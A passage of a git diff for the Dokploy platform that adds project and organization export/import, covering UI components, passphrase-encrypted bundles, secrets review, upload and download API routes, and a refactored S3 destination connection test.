+); + +export type ScopeFormState = { + environmentIds: string[]; + serviceIds: string[]; + includeEnvSecrets: boolean; + shared: Partial>; + files: { + applicationSources: boolean; + composeFiles: boolean; + traefikRaw: boolean; + customCertificates: boolean; + }; + dumps: { mode: "embed" | "referenceLastBackup" | "none" }; +}; + +export const allServiceIdsOf = (env: ProjectEnvironment): string[] => + SERVICE_KIND_FIELDS.flatMap(({ key, idField }) => + (env[key] as Record[]).map( + (service) => service[idField] as string, + ), + ); + +const sortedServicesOf = (env: ProjectEnvironment) => + SERVICE_KIND_FIELDS.flatMap(({ key, idField }) => + (env[key] as Record[]).map((service) => ({ + id: service[idField] as string, + name: (service.name as string) || (service[idField] as string), + kind: key, + stopped: (service.applicationStatus ?? service.composeStatus) === "idle", + })), + ).sort((a, b) => a.name.localeCompare(b.name)); + +export const hasDropSourceInScope = ( + environments: ProjectEnvironment[], + serviceIds: string[], +): boolean => + environments.some((env) => + env.applications.some( + (app) => + app.sourceType === "drop" && serviceIds.includes(app.applicationId), + ), + ); + +export const defaultScopeFormState = ( + environments: ProjectEnvironment[], +): ScopeFormState => ({ + environmentIds: environments.map((env) => env.environmentId), + serviceIds: environments.flatMap(allServiceIdsOf), + includeEnvSecrets: true, + shared: { + destination: "value", + registry: "value", + sshKey: "value", + network: "value", + certificate: "value", + dnsProvider: "value", + vaultProvider: "reference", + }, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, +}); + +interface ScopeFormProps { + section: "selection" | "options"; + environments: ProjectEnvironment[]; + value: ScopeFormState; + onChange: (next: ScopeFormState) => void; +} + +export const ScopeForm = ({ + section, + environments, + value, + onChange, +}: ScopeFormProps) => { + if (section === "selection") { + return ( +
+ {environments.map((env) => { + const envServiceIds = allServiceIdsOf(env); + const envChecked = value.environmentIds.includes(env.environmentId); + return ( +
+
+ { + const isChecked = checked === true; + onChange({ + ...value, + environmentIds: isChecked + ? [...value.environmentIds, env.environmentId] + : value.environmentIds.filter( + (id) => id !== env.environmentId, + ), + serviceIds: isChecked + ? Array.from( + new Set([...value.serviceIds, ...envServiceIds]), + ) + : value.serviceIds.filter( + (id) => !envServiceIds.includes(id), + ), + }); + }} + /> + {env.name} + + ({envServiceIds.length} service + {envServiceIds.length === 1 ? "" : "s"}) + +
+ {envChecked && ( +
+ {sortedServicesOf(env).map(({ id, name, kind, stopped }) => { + const checked = value.serviceIds.includes(id); + return ( +
+ { + const isChecked = next === true; + onChange({ + ...value, + serviceIds: isChecked + ? [...value.serviceIds, id] + : value.serviceIds.filter( + (existing) => existing !== id, + ), + }); + }} + /> + {name} + + ({kind} + {stopped ? ", stopped" : ""}) + +
+ ); + })} +
+ )} +
+ ); + })} +
+ ); + } + + const dropForced = hasDropSourceInScope(environments, value.serviceIds); + + return ( +
+
+ + onChange({ ...value, includeEnvSecrets: checked === true }) + } + /> + +
+ +
+ +
+
+ +
+ + Value + + + Reference + +
+
+ {SHARED_KINDS.map((kind) => ( +
+ {SHARED_KIND_LABELS[kind]} + + onChange({ + ...value, + shared: { + ...value.shared, + [kind]: next as "value" | "reference", + }, + }) + } + className="flex gap-4" + > +
+ +
+
+ +
+ +
+ ))} +
+
+ +
+ + {( + [ + ["applicationSources", "Application sources"], + ["composeFiles", "Compose files"], + ["traefikRaw", "Traefik dynamic config"], + ["customCertificates", "Custom certificates"], + ] as const + ).map(([key, label]) => { + const forced = key === "applicationSources" && dropForced; + return ( +
+ + onChange({ + ...value, + files: { ...value.files, [key]: checked === true }, + }) + } + /> + + {forced && ( + + )} +
+ ); + })} +
+ +
+ + + onChange({ + ...value, + dumps: { mode: next as ScopeFormState["dumps"]["mode"] }, + }) + } + className="space-y-1" + > + {DUMP_MODES.map(([mode, label]) => ( +
+ + + +
+ ))} + +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/secrets-review.tsx b/apps/dokploy/components/dashboard/project/export-import/secrets-review.tsx new file mode 100644 index 000000000..5e81ffbc9 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/secrets-review.tsx @@ -0,0 +1,124 @@ +import { Eye, RefreshCcw } from "lucide-react"; +import { useState } from "react"; +import { toast } from "sonner"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { generateRandomPassword } from "@/lib/password-utils"; +import { api } from "@/utils/api"; +import { CollapsibleSection } from "./collapsible-section"; + +const KIND_LABELS = { + basicAuth: "Basic auth", + registry: "Registry", + destination: "Destination", + sshKey: "SSH key", + certificate: "Certificate", +} as const; + +interface SecretsReviewProps { + importId: string; + overrides: Record; + onChange: (secretId: string, value: string | undefined) => void; +} + +export const SecretsReview = ({ + importId, + overrides, + onChange, +}: SecretsReviewProps) => { + const [revealed, setRevealed] = useState>({}); + const { data: secrets } = api.projectExportImport.importSecrets.useQuery({ + importId, + }); + const { mutateAsync: reveal } = + api.projectExportImport.importSecretReveal.useMutation({ + onError: (error) => toast.error(error.message), + }); + + if (!secrets || secrets.length === 0) return null; + + const handleReveal = async (secretId: string) => { + try { + const { value } = await reveal({ importId, secretId }); + setRevealed((prev) => ({ ...prev, [secretId]: value })); + } catch {} + }; + + return ( + +

+ These credentials belong to systems outside Dokploy and are imported as + they were exported. Reveal one to check it, or replace it before + importing. +

+ {secrets.map((secret) => { + const override = overrides[secret.secretId]; + return ( +
+
+ + {KIND_LABELS[secret.kind]}{" "} + + {secret.resource} + · {secret.field} +
+ onChange(secret.secretId, e.target.value)} + /> +
+ + {secret.generatable && ( + + )} + {override !== undefined && ( + + )} +
+
+ ); + })} + + ); +}; diff --git a/apps/dokploy/components/dashboard/project/export-import/transfer-progress.tsx b/apps/dokploy/components/dashboard/project/export-import/transfer-progress.tsx new file mode 100644 index 000000000..0f14f56f1 --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/transfer-progress.tsx @@ -0,0 +1,24 @@ +import { Progress } from "@/components/ui/progress"; + +interface TransferProgressProps { + verb: "Export" | "Import"; + job?: { status: string; message?: string; error?: string }; + failed: boolean; + done: boolean; +} + +export const TransferProgress = ({ + verb, + job, + failed, + done, +}: TransferProgressProps) => ( +
+ +

+ {failed + ? `${verb} failed: ${job?.error}` + : (job?.message ?? `Starting ${verb.toLowerCase()}...`)} +

+
+); diff --git a/apps/dokploy/components/dashboard/project/export-import/versions-table.tsx b/apps/dokploy/components/dashboard/project/export-import/versions-table.tsx new file mode 100644 index 000000000..f8422f10d --- /dev/null +++ b/apps/dokploy/components/dashboard/project/export-import/versions-table.tsx @@ -0,0 +1,64 @@ +type SourceVersions = { + dokployVersion: string; + releaseTag?: string; + isCloud?: boolean; + traefikVersion?: string; + dockerVersions?: Record; +}; + +type DestinationVersions = { + dokployVersion: string; + releaseTag: string; + isCloud: boolean; + traefikVersion: string; +}; + +const kindLabel = (isCloud: boolean | undefined) => + isCloud === undefined ? "unknown" : isCloud ? "Dokploy Cloud" : "Self-hosted"; + +const dockerLabel = (versions: Record | undefined) => { + if (!versions) return "unknown"; + const distinct = [...new Set(Object.values(versions))]; + return distinct.length > 0 ? distinct.join(", ") : "unknown"; +}; + +export const VersionsTable = ({ + versions, +}: { + versions: { source: SourceVersions; destination: DestinationVersions }; +}) => { + const { source, destination } = versions; + const rows: [string, string, string][] = [ + ["Dokploy", source.dokployVersion, destination.dokployVersion], + ["Release tag", source.releaseTag ?? "unknown", destination.releaseTag], + ["Instance", kindLabel(source.isCloud), kindLabel(destination.isCloud)], + ["Traefik", source.traefikVersion ?? "unknown", destination.traefikVersion], + ["Docker (source servers)", dockerLabel(source.dockerVersions), "n/a"], + ]; + return ( +
+ + + + + + + + + {rows.map(([label, from, to]) => ( + + + + + + ))} + +
+ Bundle sourceThis instance
{label}{from} + {to} +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/projects/show.tsx b/apps/dokploy/components/dashboard/projects/show.tsx index bbc9e0ef0..e6901ccc9 100644 --- a/apps/dokploy/components/dashboard/projects/show.tsx +++ b/apps/dokploy/components/dashboard/projects/show.tsx @@ -53,6 +53,8 @@ import { } from "@/components/ui/select"; import { api } from "@/utils/api"; import { useDebounce } from "@/utils/hooks/use-debounce"; +import { ExportProject } from "../project/export-import/export-wizard"; +import { ImportProject } from "../project/export-import/import-project"; import { HandleProject } from "./handle-project"; import { ProjectEnvironment } from "./project-environment"; @@ -217,7 +219,8 @@ export const ShowProjects = () => { {permissions?.project.create && ( -
+
+
)} @@ -237,6 +240,7 @@ export const ShowProjects = () => { placeholder="Filter projects..." value={searchQuery} onChange={(e) => setSearchQuery(e.target.value)} + autoComplete="off" className="pr-10" /> @@ -414,6 +418,14 @@ export const ShowProjects = () => { projectId={project.projectId} />
+
e.stopPropagation()} + > + +
e.stopPropagation()} diff --git a/apps/dokploy/components/dashboard/settings/exports/show-exports.tsx b/apps/dokploy/components/dashboard/settings/exports/show-exports.tsx new file mode 100644 index 000000000..dabbf9bf2 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/exports/show-exports.tsx @@ -0,0 +1,512 @@ +import { Download, KeyRound, Package, Trash2, UploadCloud } from "lucide-react"; +import { useState } from "react"; +import { toast } from "sonner"; +import { formatBytes } from "@/components/dashboard/database/backups/restore-backup"; +import { + BundleListState, + BundleMeta, + DestinationSelect, +} from "@/components/dashboard/project/export-import/destination-select"; +import { ExportWizard } from "@/components/dashboard/project/export-import/export-wizard"; +import { ImportProject } from "@/components/dashboard/project/export-import/import-project"; +import { + isPassphraseValid, + MIN_PASSPHRASE_LENGTH, + PassphraseField, + PassphraseFields, +} from "@/components/dashboard/project/export-import/passphrase-fields"; +import { allServiceIdsOf } from "@/components/dashboard/project/export-import/scope-form"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Checkbox } from "@/components/ui/checkbox"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Label } from "@/components/ui/label"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { api } from "@/utils/api"; + +const ORGANIZATION = "__organization__"; + +const OrganizationExport = ({ + destinationId, + onBack, + onDone, +}: { + destinationId: string; + onBack: () => void; + onDone: () => void; +}) => { + const [passphrase, setPassphrase] = useState(""); + const [confirm, setConfirm] = useState(""); + const [excluded, setExcluded] = useState>(new Set()); + const [exports, setExports] = useState< + { projectId: string; name: string; exportId: string }[] + >([]); + const { data: projects } = api.project.all.useQuery(); + const selectedProjectIds = (projects ?? []) + .map((project) => project.projectId) + .filter((projectId) => !excluded.has(projectId)); + const toggleProject = (projectId: string, checked: boolean) => + setExcluded((prev) => { + const next = new Set(prev); + if (checked) next.delete(projectId); + else next.add(projectId); + return next; + }); + const { mutateAsync: start, isPending } = + api.projectExportImport.exportOrganizationStart.useMutation({ + onError: (error) => toast.error(error.message), + }); + const status = api.projectExportImport.exportBatchStatus.useQuery( + { exportIds: exports.map((entry) => entry.exportId) }, + { + enabled: exports.length > 0, + refetchIntervalInBackground: true, + refetchInterval: (query) => + query.state.data?.every( + (entry) => entry.status === "done" || entry.status === "error", + ) + ? false + : 1000, + }, + ); + const finished = + exports.length > 0 && + !!status.data?.every( + (entry) => entry.status === "done" || entry.status === "error", + ); + + const handleStart = async () => { + try { + const result = await start({ + destinationId, + passphrase, + projectIds: selectedProjectIds, + }); + setExports(result.exports); + if (result.skipped.length > 0) { + toast.warning( + `Skipped ${result.skipped.map((entry) => entry.name).join(", ")}`, + { description: result.skipped[0]?.reason }, + ); + } + } catch {} + }; + + return ( + <> + + Export organization + + {exports.length > 0 + ? `Step 2 of 2: Export (${exports.length} projects)` + : "Step 1 of 2: Select projects"} + + + {exports.length > 0 ? ( +
+ {exports.map((entry) => { + const state = status.data?.find( + (row) => row.exportId === entry.exportId, + ); + return ( +
+ {entry.name} + + {state?.status === "done" + ? `Uploaded${state.size ? ` (${formatBytes(state.size)})` : ""}` + : state?.status === "error" + ? state.error + : (state?.message ?? "Waiting...")} + +
+ ); + })} +
+ ) : ( +
+
+
+ + +
+
+ {projects?.map((project) => ( + + ))} +
+
+ + Each selected project is exported one after another with everything + in scope: all environments and services, shared resources, files and + database dumps. Each project becomes its own bundle, built on the + server where it runs. + + + The exported files contain your secrets, encrypted with the + passphrase below. You'll need this exact passphrase to import them + later; without it, the exports can't be recovered. + + +
+ )} + + {exports.length === 0 && ( + + )} + {exports.length === 0 && ( + + )} + {finished && ( + + )} + + + ); +}; + +const ExportDialogBody = ({ + destinationId, + onClose, +}: { + destinationId: string; + onClose: () => void; +}) => { + const [target, setTarget] = useState(""); + const { data: projects } = api.project.all.useQuery(); + const project = projects?.find((entry) => entry.projectId === target); + + if (project) { + return ( + setTarget("")} + /> + ); + } + if (target === ORGANIZATION) { + return ( + setTarget("")} + onDone={onClose} + /> + ); + } + return ( + <> + + Export to destination + + Pick a project to go through the same steps as a project export, or + export the whole organization. + + +
+ + +
+ + ); +}; + +const CheckPassphrase = ({ + destinationId, + bundleKey, +}: { + destinationId: string; + bundleKey: string; +}) => { + const [open, setOpen] = useState(false); + const [passphrase, setPassphrase] = useState(""); + const [result, setResult] = useState(null); + const { mutateAsync: verify, isPending } = + api.projectExportImport.verifyBundlePassphrase.useMutation({ + onError: (error) => toast.error(error.message), + }); + + const handleCheck = async () => { + try { + const outcome = await verify({ + destinationId, + key: bundleKey, + passphrase, + }); + setResult( + !outcome.checked + ? "This bundle can't be checked without downloading it (older format)." + : outcome.valid + ? "The passphrase is valid for this bundle." + : "Wrong passphrase for this bundle.", + ); + } catch {} + }; + + return ( + { + setOpen(next); + if (!next) { + setPassphrase(""); + setResult(null); + } + }} + > + + + + + + Check passphrase + + {bundleKey} + + + + {result &&

{result}

} + + + + ); +}; + +export const ShowExports = () => { + const [destinationId, setDestinationId] = useState(""); + const [exportOpen, setExportOpen] = useState(false); + const bundles = api.projectExportImport.listRemoteBundles.useQuery( + { destinationId }, + { enabled: !!destinationId }, + ); + const { + mutateAsync: deleteBundle, + isPending: isDeleting, + variables: deleting, + } = api.projectExportImport.deleteRemoteBundle.useMutation({ + onSuccess: () => { + toast.success("Bundle deleted"); + void bundles.refetch(); + }, + onError: (error) => toast.error(error.message), + }); + + return ( +
+ +
+ + + + Exports + + + Project bundles stored under dokploy-export-import/ in your S3 + destinations. Export a project or the whole organization, then + download, check or delete the bundles from here. + + + +
+ + { + setExportOpen(next); + if (!next) void bundles.refetch(); + }} + > + + + + + {exportOpen && ( + { + setExportOpen(false); + void bundles.refetch(); + }} + /> + )} + + + +
+ + {!destinationId && ( +

+ Pick a destination to list the bundles stored in it. +

+ )} + + {bundles.data && bundles.data.length > 0 && ( +
+ {bundles.data.map((bundle) => ( +
+
+

+ {bundle.key.split("/").at(-1)} +

+ +
+
+ + + + deleteBundle({ destinationId, key: bundle.key }) + } + > + + +
+
+ ))} +
+ )} + +
+ +
+ ); +}; diff --git a/apps/dokploy/components/layouts/side.tsx b/apps/dokploy/components/layouts/side.tsx index 59e628aa0..f4d710150 100644 --- a/apps/dokploy/components/layouts/side.tsx +++ b/apps/dokploy/components/layouts/side.tsx @@ -2,6 +2,7 @@ import type { inferRouterOutputs } from "@trpc/server"; import { Activity, + Archive, BarChartHorizontalBigIcon, Bell, BlocksIcon, @@ -403,6 +404,13 @@ const MENU: Menu = { icon: HardDrive, isEnabled: ({ permissions }) => !!permissions?.destination.read, }, + { + isSingle: true, + title: "Exports", + url: "/dashboard/settings/exports", + icon: Archive, + isEnabled: ({ auth }) => auth?.role === "owner" || auth?.role === "admin", + }, { isSingle: true, diff --git a/apps/dokploy/package.json b/apps/dokploy/package.json index fe40a69b8..625e7a214 100644 --- a/apps/dokploy/package.json +++ b/apps/dokploy/package.json @@ -94,6 +94,7 @@ "better-auth": "1.6.23", "bl": "6.0.11", "boxen": "^7.1.1", + "busboy": "^1.6.0", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "cmdk": "^0.2.1", @@ -157,6 +158,7 @@ "devDependencies": { "@tailwindcss/postcss": "^4.3.1", "@types/bcrypt": "5.0.2", + "@types/busboy": "^1.5.4", "@types/dompurify": "^3.2.0", "@types/js-cookie": "^3.0.6", "@types/lodash": "4.17.4", diff --git a/apps/dokploy/pages/api/project-export-import/bundle.ts b/apps/dokploy/pages/api/project-export-import/bundle.ts new file mode 100644 index 000000000..884638e88 --- /dev/null +++ b/apps/dokploy/pages/api/project-export-import/bundle.ts @@ -0,0 +1,98 @@ +import { basename } from "node:path"; +import { validateRequest } from "@dokploy/server/lib/auth"; +import { + assertTransferPermission, + BUNDLE_EXTENSION, + EXPORTS_DIRECTORY, + findOrganizationDestination, + listBundles, + safeErrorMessage, + streamBundleFromDestination, + streamProcessToResponse, +} from "@dokploy/server/services/project-export-import"; +import type { NextApiRequest, NextApiResponse } from "next"; + +export const config = { + api: { + responseLimit: false, + }, +}; + +export default async function handler( + req: NextApiRequest, + res: NextApiResponse, +) { + if (req.method !== "GET") { + res.status(405).json({ message: "Method not allowed" }); + return; + } + + const { session, user } = await validateRequest(req); + const organizationId = (session as { activeOrganizationId?: string } | null) + ?.activeOrganizationId; + if (!session || !user || !organizationId) { + res.status(401).json({ message: "Unauthorized" }); + return; + } + + const { destinationId, key } = req.query; + if ( + typeof destinationId !== "string" || + typeof key !== "string" || + !key.startsWith(`${EXPORTS_DIRECTORY}/`) || + !key.endsWith(BUNDLE_EXTENSION) || + key.includes("..") + ) { + res.status(400).json({ message: "Invalid bundle" }); + return; + } + + try { + await assertTransferPermission( + { + user: { id: user.id }, + session: { activeOrganizationId: organizationId }, + }, + undefined, + "export", + ); + } catch { + res.status(403).json({ message: "Forbidden" }); + return; + } + + let destination: Awaited>; + try { + destination = await findOrganizationDestination( + destinationId, + organizationId, + ); + } catch { + res.status(404).json({ message: "Destination not found" }); + return; + } + + let bundle: Awaited>[number] | undefined; + try { + bundle = (await listBundles(destination)).find( + (entry) => entry.key === key, + ); + } catch (error) { + res.status(502).json({ message: safeErrorMessage(error) }); + return; + } + if (!bundle) { + res.status(404).json({ message: "Bundle not found" }); + return; + } + + res.setHeader("Content-Type", "application/gzip"); + res.setHeader( + "Content-Disposition", + `attachment; filename*=UTF-8''${encodeURIComponent(basename(key))}`, + ); + res.setHeader("Content-Length", bundle.size); + + const proc = await streamBundleFromDestination(destination, key); + await streamProcessToResponse(proc, res).catch(() => {}); +} diff --git a/apps/dokploy/pages/api/project-export-import/download/[token].ts b/apps/dokploy/pages/api/project-export-import/download/[token].ts new file mode 100644 index 000000000..37aa6f7c2 --- /dev/null +++ b/apps/dokploy/pages/api/project-export-import/download/[token].ts @@ -0,0 +1,96 @@ +import { basename } from "node:path"; +import { validateRequest } from "@dokploy/server/lib/auth"; +import { + assertTransferPermission, + escapeShellArg, + fileSize, + invalidateDownloadToken, + peekDownloadToken, + streamProcessToResponse, +} from "@dokploy/server/services/project-export-import"; +import { openProcessStream } from "@dokploy/server/utils/process/remoteStream"; +import { TRPCError } from "@trpc/server"; +import type { NextApiRequest, NextApiResponse } from "next"; + +export const config = { + api: { + responseLimit: false, + }, +}; + +export default async function handler( + req: NextApiRequest, + res: NextApiResponse, +) { + if (req.method !== "GET") { + res.status(405).json({ message: "Method not allowed" }); + return; + } + + const { session, user } = await validateRequest(req); + if (!session || !user) { + res.status(401).json({ message: "Unauthorized" }); + return; + } + + const { token } = req.query; + if (typeof token !== "string") { + res.status(400).json({ message: "Invalid token" }); + return; + } + + const job = peekDownloadToken(token); + const activeOrganizationId = (session as { activeOrganizationId?: string }) + .activeOrganizationId; + if ( + !job || + job.organizationId !== activeOrganizationId || + !activeOrganizationId + ) { + res.status(404).json({ message: "Not found" }); + return; + } + + try { + await assertTransferPermission( + { user: { id: user.id }, session: { activeOrganizationId } }, + undefined, + "export", + ); + } catch (error) { + const status = + error instanceof TRPCError && error.code === "FORBIDDEN" ? 403 : 401; + res.status(status).json({ message: "Unauthorized" }); + return; + } + + if (job.status !== "done" || !job.bundle) { + res.status(409).json({ message: "Export is not ready for download" }); + return; + } + + const bundle = job.bundle; + let size = 0; + try { + size = await fileSize(bundle); + } catch {} + if (size === 0) { + res.status(404).json({ message: "Bundle file is missing" }); + return; + } + + res.setHeader("Content-Type", "application/gzip"); + res.setHeader( + "Content-Disposition", + `attachment; filename="${basename(bundle.path)}"`, + ); + res.setHeader("Content-Length", size); + + const proc = await openProcessStream( + bundle.serverId, + `cat ${escapeShellArg(bundle.path)}`, + ); + await streamProcessToResponse(proc, res) + .then(() => invalidateDownloadToken(token)) + .catch(() => {}); +} diff --git a/apps/dokploy/pages/api/project-export-import/upload.ts b/apps/dokploy/pages/api/project-export-import/upload.ts new file mode 100644 index 000000000..7cb8ae7ef --- /dev/null +++ b/apps/dokploy/pages/api/project-export-import/upload.ts @@ -0,0 +1,209 @@ +import { randomUUID } from "node:crypto"; +import { createWriteStream } from "node:fs"; +import { join } from "node:path"; +import type { Writable } from "node:stream"; +import { validateRequest } from "@dokploy/server/lib/auth"; +import { + assertNoActiveTransfer, + assertTransferPermission, + at, + createImportJobIfNoneActive, + escapeShellArg, + findOrganizationServerId, + type Location, + prepareRoot, + remove, + TRANSFER_MAX_UPLOAD_BYTES, + transferRoot, + updateImportJob, +} from "@dokploy/server/services/project-export-import"; +import { openProcessStream } from "@dokploy/server/utils/process/remoteStream"; +import { TRPCError } from "@trpc/server"; +import busboy from "busboy"; +import type { NextApiRequest, NextApiResponse } from "next"; + +export const config = { + api: { + bodyParser: false, + }, +}; + +class UploadTooLargeError extends Error {} + +type UploadTarget = { stream: Writable; done: Promise }; + +const openTarget = async (bundle: Location): Promise => { + if (!bundle.serverId) { + const stream = createWriteStream(bundle.path); + return { + stream, + done: new Promise((resolve, reject) => { + stream.on("finish", resolve); + stream.on("error", reject); + }), + }; + } + const proc = await openProcessStream( + bundle.serverId, + `mkdir -p ${escapeShellArg(join(bundle.path, ".."))} && cat > ${escapeShellArg(bundle.path)}`, + ); + proc.stdout.resume(); + proc.stdin.on("error", () => {}); + const errors: string[] = []; + proc.stderr.on("data", (chunk: Buffer) => errors.push(chunk.toString())); + return { + stream: proc.stdin as Writable, + done: proc.exit.then((code) => { + if (code !== 0) { + throw new Error( + `Writing the bundle on the server failed: ${errors.join("").trim()}`, + ); + } + }), + }; +}; + +const receiveUpload = ( + req: NextApiRequest, + target: UploadTarget, + maxBytes: number, +): Promise => + new Promise((resolve, reject) => { + const bb = busboy({ headers: req.headers, limits: { fileSize: maxBytes } }); + let gotFile = false; + + const abort = (error: Error) => { + target.stream.destroy(); + bb.destroy(); + req.unpipe(bb); + req.destroy(); + reject(error); + }; + + target.done.catch(abort); + + bb.on("file", (_name, file) => { + if (gotFile) { + file.on("error", () => {}); + file.resume(); + abort(new Error("Upload contains more than one file field")); + return; + } + gotFile = true; + let limited = false; + + file.on("error", () => {}); + file.on("limit", () => { + limited = true; + abort( + new UploadTooLargeError("Bundle exceeds the maximum upload size"), + ); + }); + + target.done.then( + () => { + if (!limited) resolve(); + }, + (error) => reject(error), + ); + file.pipe(target.stream); + }); + + bb.on("error", reject); + bb.on("close", () => { + if (!gotFile) { + reject(new Error("No file field found in the upload")); + } + }); + + req.pipe(bb); + }); + +export default async function handler( + req: NextApiRequest, + res: NextApiResponse, +) { + if (req.method !== "POST") { + res.status(405).json({ message: "Method not allowed" }); + return; + } + + const { session, user } = await validateRequest(req); + const activeOrganizationId = ( + session as { activeOrganizationId?: string } | null + )?.activeOrganizationId; + if (!session || !user || !activeOrganizationId) { + res.status(401).json({ message: "Unauthorized" }); + return; + } + + try { + await assertTransferPermission( + { user: { id: user.id }, session: { activeOrganizationId } }, + undefined, + "import", + ); + } catch (error) { + res.status(403).json({ + message: error instanceof Error ? error.message : "Forbidden", + }); + return; + } + + try { + assertNoActiveTransfer(user.id); + } catch (error) { + if (error instanceof TRPCError && error.code === "CONFLICT") { + res.status(409).json({ message: error.message }); + return; + } + throw error; + } + + let serverId: string | null; + try { + const requested = req.query?.serverId; + serverId = await findOrganizationServerId( + typeof requested === "string" ? requested : undefined, + activeOrganizationId, + ); + } catch (error) { + res.status(400).json({ + message: error instanceof Error ? error.message : "Invalid server", + }); + return; + } + + const importId = randomUUID(); + const root = transferRoot(importId, serverId); + const bundle = at(root, "bundle.dokploy.tar.gz"); + + let target: UploadTarget | undefined; + try { + await prepareRoot(root); + target = await openTarget(bundle); + await receiveUpload(req, target, TRANSFER_MAX_UPLOAD_BYTES); + } catch (error) { + target?.stream.destroy(); + await remove(root).catch(() => {}); + const tooLarge = error instanceof UploadTooLargeError; + res.status(tooLarge ? 413 : 400).json({ + message: error instanceof Error ? error.message : "Upload failed", + }); + return; + } + + try { + createImportJobIfNoneActive(importId, user.id, activeOrganizationId); + } catch (error) { + await remove(root).catch(() => {}); + if (error instanceof TRPCError && error.code === "CONFLICT") { + res.status(409).json({ message: error.message }); + return; + } + throw error; + } + updateImportJob(importId, { root, bundle, status: "uploaded" }); + + res.status(200).json({ importId, serverId }); +} diff --git a/apps/dokploy/pages/dashboard/settings/exports.tsx b/apps/dokploy/pages/dashboard/settings/exports.tsx new file mode 100644 index 000000000..d962a7e85 --- /dev/null +++ b/apps/dokploy/pages/dashboard/settings/exports.tsx @@ -0,0 +1,57 @@ +import { validateRequest } from "@dokploy/server"; +import { createServerSideHelpers } from "@trpc/react-query/server"; +import type { GetServerSidePropsContext } from "next"; +import type { ReactElement } from "react"; +import superjson from "superjson"; +import { ShowExports } from "@/components/dashboard/settings/exports/show-exports"; +import { DashboardLayout } from "@/components/layouts/dashboard-layout"; +import { appRouter } from "@/server/api/root"; + +const Page = () => { + return ( +
+ +
+ ); +}; + +export default Page; + +Page.getLayout = (page: ReactElement) => { + return {page}; +}; +export async function getServerSideProps( + ctx: GetServerSidePropsContext<{ serviceId: string }>, +) { + const { req, res } = ctx; + const { user, session } = await validateRequest(req); + if (!user || (user.role !== "owner" && user.role !== "admin")) { + return { + redirect: { + permanent: false, + destination: "/", + }, + }; + } + + const helpers = createServerSideHelpers({ + router: appRouter, + ctx: { + req: req as any, + res: res as any, + db: null as any, + session: session as any, + user: user as any, + }, + transformer: superjson, + }); + await helpers.user.get.prefetch(); + await helpers.settings.isCloud.prefetch(); + await helpers.destination.all.prefetch(); + + return { + props: { + trpcState: helpers.dehydrate(), + }, + }; +} diff --git a/apps/dokploy/server/api/root.ts b/apps/dokploy/server/api/root.ts index 7f1b4d7e9..a39a7242e 100644 --- a/apps/dokploy/server/api/root.ts +++ b/apps/dokploy/server/api/root.ts @@ -34,6 +34,7 @@ import { portRouter } from "./routers/port"; import { postgresRouter } from "./routers/postgres"; import { previewDeploymentRouter } from "./routers/preview-deployment"; import { projectRouter } from "./routers/project"; +import { projectExportImportRouter } from "./routers/project-export-import"; import { auditLogRouter } from "./routers/proprietary/audit-log"; import { customRoleRouter } from "./routers/proprietary/custom-role"; import { forwardAuthRouter } from "./routers/proprietary/forward-auth"; @@ -124,6 +125,7 @@ export const appRouter = createTRPCRouter({ patch: patchRouter, overview: overviewRouter, transfer: transferRouter, + projectExportImport: projectExportImportRouter, }); // export type definition of API diff --git a/apps/dokploy/server/api/routers/destination.ts b/apps/dokploy/server/api/routers/destination.ts index 3d2ad6057..1155253dc 100644 --- a/apps/dokploy/server/api/routers/destination.ts +++ b/apps/dokploy/server/api/routers/destination.ts @@ -1,16 +1,13 @@ import { createDestination, - execAsync, - execAsyncRemote, findDestinationById, - IS_CLOUD, removeDestinationById, + testDestinationConnection, updateDestinationById, } from "@dokploy/server"; import { db } from "@dokploy/server/db"; import { TRPCError } from "@trpc/server"; import { desc, eq } from "drizzle-orm"; -import { quote } from "shell-quote"; import { createTRPCRouter, withPermission } from "@/server/api/trpc"; import { audit } from "@/server/api/utils/audit"; import { @@ -48,49 +45,8 @@ export const destinationRouter = createTRPCRouter({ testConnection: withPermission("destination", "create") .input(apiCreateDestination) .mutation(async ({ input }) => { - const { - secretAccessKey, - bucket, - region, - endpoint, - accessKey, - provider, - additionalFlags, - } = input; try { - const rcloneFlags = [ - `--s3-access-key-id=${quote([accessKey])}`, - `--s3-secret-access-key=${quote([secretAccessKey])}`, - `--s3-region=${quote([region])}`, - `--s3-endpoint=${quote([endpoint])}`, - "--s3-no-check-bucket", - "--s3-force-path-style", - "--retries 1", - "--low-level-retries 1", - "--timeout 10s", - "--contimeout 5s", - ]; - if (provider) { - rcloneFlags.unshift(`--s3-provider=${quote([provider])}`); - } - if (additionalFlags?.length) { - rcloneFlags.push(...additionalFlags); - } - const rcloneDestination = `:s3:${bucket}`; - const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`; - - if (IS_CLOUD && !input.serverId) { - throw new TRPCError({ - code: "NOT_FOUND", - message: "Server not found", - }); - } - - if (IS_CLOUD) { - await execAsyncRemote(input.serverId || "", rcloneCommand); - } else { - await execAsync(rcloneCommand); - } + await testDestinationConnection(input); } catch (error) { throw new TRPCError({ code: "BAD_REQUEST", diff --git a/apps/dokploy/server/api/routers/project-export-import.ts b/apps/dokploy/server/api/routers/project-export-import.ts new file mode 100644 index 000000000..f635eefbe --- /dev/null +++ b/apps/dokploy/server/api/routers/project-export-import.ts @@ -0,0 +1,854 @@ +import { randomUUID } from "node:crypto"; +import { getDokployImageTag, IS_CLOUD, TRAEFIK_VERSION } from "@dokploy/server"; +import { db } from "@dokploy/server/db"; +import type { + DeployCandidate, + InstanceVersions, +} from "@dokploy/server/services/project-export-import"; +import { + assertNoActiveTransfer, + assertPlanChecksPass, + 